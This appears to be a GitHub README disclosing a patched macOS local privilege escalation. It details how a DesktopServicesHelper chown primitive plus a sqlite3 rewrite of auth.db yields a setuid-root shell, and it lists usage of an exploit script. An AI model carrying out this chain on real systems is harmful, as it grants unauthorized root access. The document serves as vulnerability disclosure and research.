Skip to content

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

macOS LPE to root via DesktopServicesHelper chown primitive + auth.db hijack

root your macOS in ~2 seconds.

Discovered and end-to-end verified by our autonomous agent on 2026-07-18.

Affected macOS < 26.6 (verified on 26.5.2 / build 25F84, arm64, SIP on)
Fixed macOS 26.6 — fix is present, but the public advisory does not enumerate this LPE
Severity High — unprivileged user → root, no user interaction
Type Logic / composition LPE (XPC trust assumption + live config read)
Components DesktopServicesHelper (DSH) · securityd · security_authtrampoline
Disclosure Independently reported to Apple; no CVE, no credit granted

Demo

Full unprivileged-user → root run on macOS 26.5.2 (~2s, no GUI prompt): lpe.mov

lpe.mov

Why this is published

We tested the PoC on macOS 26.5.2 which is the latest production version at that time, and responsibly reported this issue to Apple Product Security with the full chain and a self-contained PoC on July 18. Apple confirmed the underlying bug had already been fixed in a macOS 26.6 beta from mid-June 2026 and declined to assign a CVE or grant credit. macOS 26.6 ships the fix, but its advisory lists only a DSH-related Gatekeeper bypass — this specific DSH LPE is not enumerated, and there is no CVE or credit for it. This repository documents the issue for the public record.

Summary

An unprivileged user can gain root by chaining two native system components that are each "correct" in isolation but dangerous in composition:

  1. DesktopServicesHelper exposes a RepairPermissionsForCloudItems XPC handler (sub_100022574 @ 0x100022574, in /System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper) that performs open(O_SYMLINK) + fchown(fd, caller_euid, …) on caller-supplied paths with no path-containment check and no entitlement gate. Its dispatcher gate (sub_1000322D0) only verifies sandbox_check_by_audit_token == true, which any unprivileged process can satisfy via sandbox_init(kSBXProfileNoInternet) — the gate wrongly assumes "sandboxed" means "Apple-blessed app sandbox."

  2. securityd reads /private/var/db/auth.db live on every AuthorizationCopyRights call and assumes the file is root-only-writable, without re-verifying st_uid == 0 on open.

The chain: chown auth.db (+ -wal, -shm) from root to the attacker via (1) → sqlite3 UPDATE rules SET class=4 WHERE name='system.privilege.admin'securityd now serves the rule as allow (live, no restart) → AuthorizationExecuteWithPrivileges spawns security_authtrampoline (root), which posix_spawn's the attacker's command as euid=0 with no GUI prompt → drop a setuid-root shell → uid=0(root) gid=0(wheel).

Technical details

Primitive 1 — DesktopServicesHelper arbitrary chown

  • Binary: /System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper
  • XPC service: com.apple.DesktopServicesHelper
  • Handler: sub_100022574 @ 0x100022574 — the RepairPermissionsForCloudItems request handler.
  • Behavior: for each caller-supplied path it does open(path, O_SYMLINK) then fchown(fd, caller_euid, original_gid). The handler exists to repair iCloud-Drive item ownership, but performs no iCloud-Drive-container path check on the supplied paths and has no entitlement gate.
  • Effect: any non-SIP, root-owned file on the system can be chowned to the caller's uid by an unprivileged process.

Bypassing the dispatcher gate (sub_1000322D0):

The handler's only protection is the dispatcher gate, which checks sandbox_check_by_audit_token == true and interprets a positive result as "the caller is an Apple-blessed, app-sandboxed process." That assumption is spoofable: any unprivileged process can call

sandbox_init(kSBXProfileNoInternet, SANDBX_NAMED, &err);

to set the audit-token sandbox flag the gate keys on. With the flag set, the request is dispatched to sub_100022574, which then chowns arbitrary caller-supplied paths.

Primitive 2 — securityd trusts auth.db ownership live

  • securityd reads /private/var/db/auth.db on every AuthorizationCopyRights invocation and treats the database as authoritative.
  • It assumes auth.db is root-only-writable and does not re-assert st_uid == 0 (nor mode sanity) when it opens the file.
  • Therefore any mechanism that chowns auth.db (+ its SQLite sidecar files -wal/-shm) to the attacker entirely defeats the authorization framework: the attacker can rewrite any authorization rule, including system.privilege.admin.

The full chain

Step Action Result
1 sandbox_init(kSBXProfileNoInternet) Audit-token sandbox flag set → DSH dispatcher gate satisfied
2 Send RepairPermissionsForCloudItems with auth.db, auth.db-wal, auth.db-shm DSH chowns all three from root → caller
3 sqlite3 auth.db "UPDATE rules SET class=4 WHERE name='system.privilege.admin'" (class=1/user → class=4/allow) securityd serves the rule as allow, live (no restart)
4 AuthorizationExecuteWithPrivileges("/bin/sh", ["-c", "<payload>"]) launchd spawns security_authtrampoline (root) → posix_spawn the payload as euid=0, no GUI prompt
5 Payload: chown root:wheel /tmp/future_rootshell && chmod 4755 /tmp/future_rootshell A setuid-root shell is installed
6 /tmp/future_rootshell -c 'id' uid=0(root) gid=0(wheel)

Proof of Concept

File Description
lpe.sh Self-contained exploit. Compiles three small helpers inline and runs the full chain.
lpe.mov Screen recording of a successful unprivileged user → root run on macOS 26.5.2.
apple-report.md The original report as submitted to Apple Product Security.

Usage

# Pop an INTERACTIVE root shell (leaves the setuid rootshell + modified auth.db in place)
./lpe.sh

# Restore the system: revert the auth.db rule + ownership and remove the rootshell
./lpe.sh cleanup

./lpe.sh --help

lpe.sh compiles three small programs inline — (a) a DesktopServicesHelper XPC client that performs the chown, (b) an AuthorizationExecuteWithPrivileges client, and (c) a setuid-root shell payload — then runs the chain described above. No external files, no kernel code, no binary modification. A successful run ends with:

uid=0(root) gid=0(wheel) groups=0(wheel)
root

Always run ./lpe.sh cleanup afterward to restore auth.db ownership and the system.privilege.admin rule, and to remove the setuid rootshell. Test only on systems you own and are authorized to test.

Root cause

  • sub_100022574 (DesktopServicesHelper) chowns arbitrary non-SIP root-owned files to the caller's uid. The dispatcher gate (sub_1000322D0) relies on sandbox_check_by_audit_token to mean "trusted Apple-sandboxed app," but sandbox_init(kSBXProfileNoInternet) satisfies it from any unprivileged process. There is no iCloud-Drive-container path check inside the handler.
  • securityd trusts auth.db ownership/integrity without re-verifying st_uid == 0 on open. Any mechanism that chowns auth.db to the attacker defeats the authorization framework.
  • The two components are individually "correct," but their composition is an LPE: the chown primitive (designed for iCloud repair) was never considered as an auth.db attack vector when securityd's live-read design was set.

Test environment

The PoC was developed and verified on the following machine:

Model MacBook Air (15-inch, 2023) — Mac14,15
Chip Apple M2 · 24 GB
Architecture arm64 (Apple Silicon)
OS at test time macOS 26.5.2
SIP enabled

Disclaimer

Provided for educational and authorized security research purposes only. The vulnerability described here is patched in macOS 26.6. Do not run the proof of concept against any system you do not own or are not explicitly authorized to test. We assume no liability for misuse.

About

macOS LPE, tested on 26.5.2, fixed in 26.6

Resources

Stars

39 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages